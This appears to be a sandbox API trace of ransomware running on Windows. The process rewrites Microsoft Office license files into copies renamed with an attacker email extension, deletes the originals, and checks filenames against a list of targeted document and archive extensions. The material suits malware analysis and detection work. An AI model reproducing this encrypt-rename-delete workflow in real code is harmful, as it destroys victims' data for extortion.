	[0194.019] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.019] WriteFile (in: hFile=0x5dc, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x114, lpOverlapped=0x0) returned 1
	[0194.019] SetEndOfFile (hFile=0x5dc) returned 1
	[0194.019] CloseHandle (hObject=0x5dc) returned 1
	[0194.019] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.019] SetEndOfFile (hFile=0x5d8) returned 1
	[0194.022] CloseHandle (hObject=0x5d8) returned 1
	[0194.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0194.023] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms")) returned 1
	[0194.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0194.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0194.379] lstrlenW (lpString=".doc") returned 4
	[0194.379] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.379] lstrlenW (lpString=".docx") returned 5
	[0194.379] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.379] lstrlenW (lpString=".pdf") returned 4
	[0194.379] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.379] lstrlenW (lpString=".xls") returned 4
	[0194.379] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.379] lstrlenW (lpString=".xlsx") returned 5
	[0194.379] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.379] lstrlenW (lpString=".ppt") returned 4
	[0194.379] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0194.379] lstrlenW (lpString=".zip") returned 4
	[0194.380] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.380] lstrlenW (lpString=".rar") returned 4
	[0194.380] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.380] lstrlenW (lpString=".bz2") returned 4
	[0194.380] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.380] lstrlenW (lpString=".7z") returned 3
	[0194.380] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0194.380] lstrlenW (lpString=".dbf") returned 4
	[0194.380] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0194.380] lstrlenW (lpString=".1cd") returned 4
	[0194.380] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0194.380] lstrlenW (lpString=".jpg") returned 4
	[0194.380] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0194.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0194.380] lstrlenW (lpString=".doc") returned 4
	[0194.380] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.380] lstrlenW (lpString=".docx") returned 5
	[0194.380] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.380] lstrlenW (lpString=".pdf") returned 4
	[0194.380] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.380] lstrlenW (lpString=".xls") returned 4
	[0194.381] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.381] lstrlenW (lpString=".xlsx") returned 5
	[0194.381] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.381] lstrlenW (lpString=".ppt") returned 4
	[0194.381] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0194.381] lstrlenW (lpString=".zip") returned 4
	[0194.381] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.381] lstrlenW (lpString=".rar") returned 4
	[0194.381] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.381] lstrlenW (lpString=".bz2") returned 4
	[0194.381] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.381] lstrlenW (lpString=".7z") returned 3
	[0194.381] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0194.381] lstrlenW (lpString=".dbf") returned 4
	[0194.381] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0194.381] lstrlenW (lpString=".1cd") returned 4
	[0194.381] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0194.381] lstrlenW (lpString=".jpg") returned 4
	[0194.381] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.381] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0194.382] lstrlenW (lpString="HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 37
	[0194.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0194.382] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=19966) returned 1
	[0194.382] CloseHandle (hObject=0x478) returned 1
	[0194.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms")) returned 0x220
	[0194.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0194.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0194.383] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.383] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0194.385] GetLastError () returned 0x0
	[0194.385] ReadFile (in: hFile=0x478, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x4dfe, lpOverlapped=0x0) returned 1
	[0194.387] WriteFile (in: hFile=0x5ac, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x4e00, lpOverlapped=0x0) returned 1
	[0194.388] ReadFile (in: hFile=0x478, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.388] WriteFile (in: hFile=0x5ac, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0194.389] SetEndOfFile (hFile=0x5ac) returned 1
	[0194.389] CloseHandle (hObject=0x5ac) returned 1
	[0194.389] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.389] SetEndOfFile (hFile=0x478) returned 1
	[0194.392] CloseHandle (hObject=0x478) returned 1
	[0194.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0194.393] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms")) returned 1
	[0194.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0194.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0194.394] lstrlenW (lpString=".doc") returned 4
	[0194.394] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.394] lstrlenW (lpString=".docx") returned 5
	[0194.394] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.394] lstrlenW (lpString=".pdf") returned 4
	[0194.394] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.394] lstrlenW (lpString=".xls") returned 4
	[0194.394] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.394] lstrlenW (lpString=".xlsx") returned 5
	[0194.394] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.395] lstrlenW (lpString=".ppt") returned 4
	[0194.395] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0194.395] lstrlenW (lpString=".zip") returned 4
	[0194.395] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.395] lstrlenW (lpString=".rar") returned 4
	[0194.395] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.395] lstrlenW (lpString=".bz2") returned 4
	[0194.395] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.395] lstrlenW (lpString=".7z") returned 3
	[0194.395] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0194.395] lstrlenW (lpString=".dbf") returned 4
	[0194.395] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0194.395] lstrlenW (lpString=".1cd") returned 4
	[0194.395] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0194.395] lstrlenW (lpString=".jpg") returned 4
	[0194.395] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0194.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0194.395] lstrlenW (lpString=".doc") returned 4
	[0194.395] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.395] lstrlenW (lpString=".docx") returned 5
	[0194.395] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.395] lstrlenW (lpString=".pdf") returned 4
	[0194.396] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.396] lstrlenW (lpString=".xls") returned 4
	[0194.396] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.396] lstrlenW (lpString=".xlsx") returned 5
	[0194.396] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.396] lstrlenW (lpString=".ppt") returned 4
	[0194.396] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0194.396] lstrlenW (lpString=".zip") returned 4
	[0194.396] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.396] lstrlenW (lpString=".rar") returned 4
	[0194.396] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.396] lstrlenW (lpString=".bz2") returned 4
	[0194.396] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.396] lstrlenW (lpString=".7z") returned 3
	[0194.396] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0194.396] lstrlenW (lpString=".dbf") returned 4
	[0194.396] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0194.396] lstrlenW (lpString=".1cd") returned 4
	[0194.396] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0194.396] lstrlenW (lpString=".jpg") returned 4
	[0194.396] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.396] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0194.397] lstrlenW (lpString="HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 33
	[0194.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0194.398] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=10667) returned 1
	[0194.398] CloseHandle (hObject=0x478) returned 1
	[0194.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms")) returned 0x220
	[0194.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0194.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0194.398] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.398] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0194.399] GetLastError () returned 0x0
	[0194.399] ReadFile (in: hFile=0x478, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x29ab, lpOverlapped=0x0) returned 1
	[0194.404] WriteFile (in: hFile=0x5ac, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x29b0, lpOverlapped=0x0) returned 1
	[0194.405] ReadFile (in: hFile=0x478, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.406] WriteFile (in: hFile=0x5ac, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x116, lpOverlapped=0x0) returned 1
	[0194.406] SetEndOfFile (hFile=0x5ac) returned 1
	[0194.406] CloseHandle (hObject=0x5ac) returned 1
	[0194.406] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.406] SetEndOfFile (hFile=0x478) returned 1
	[0194.409] CloseHandle (hObject=0x478) returned 1
	[0194.409] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0194.410] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms")) returned 1
	[0194.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0194.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0194.410] lstrlenW (lpString=".doc") returned 4
	[0194.411] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.411] lstrlenW (lpString=".docx") returned 5
	[0194.411] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.411] lstrlenW (lpString=".pdf") returned 4
	[0194.411] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.411] lstrlenW (lpString=".xls") returned 4
	[0194.411] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.411] lstrlenW (lpString=".xlsx") returned 5
	[0194.411] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.411] lstrlenW (lpString=".ppt") returned 4
	[0194.411] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0194.411] lstrlenW (lpString=".zip") returned 4
	[0194.411] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.411] lstrlenW (lpString=".rar") returned 4
	[0194.411] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.411] lstrlenW (lpString=".bz2") returned 4
	[0194.411] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.411] lstrlenW (lpString=".7z") returned 3
	[0194.411] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0194.412] lstrlenW (lpString=".dbf") returned 4
	[0194.412] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0194.412] lstrlenW (lpString=".1cd") returned 4
	[0194.412] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0194.412] lstrlenW (lpString=".jpg") returned 4
	[0194.412] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0194.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0194.412] lstrlenW (lpString=".doc") returned 4
	[0194.412] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.412] lstrlenW (lpString=".docx") returned 5
	[0194.412] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.412] lstrlenW (lpString=".pdf") returned 4
	[0194.412] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.412] lstrlenW (lpString=".xls") returned 4
	[0194.412] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.412] lstrlenW (lpString=".xlsx") returned 5
	[0194.412] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.412] lstrlenW (lpString=".ppt") returned 4
	[0194.412] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0194.412] lstrlenW (lpString=".zip") returned 4
	[0194.412] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.412] lstrlenW (lpString=".rar") returned 4
	[0194.413] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.413] lstrlenW (lpString=".bz2") returned 4
	[0194.413] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.413] lstrlenW (lpString=".7z") returned 3
	[0194.413] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0194.413] lstrlenW (lpString=".dbf") returned 4
	[0194.413] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0194.413] lstrlenW (lpString=".1cd") returned 4
	[0194.413] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0194.413] lstrlenW (lpString=".jpg") returned 4
	[0194.413] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.413] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0194.413] lstrlenW (lpString="HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 34
	[0194.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0194.414] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=22094) returned 1
	[0194.414] CloseHandle (hObject=0x478) returned 1
	[0194.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms")) returned 0x220
	[0194.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
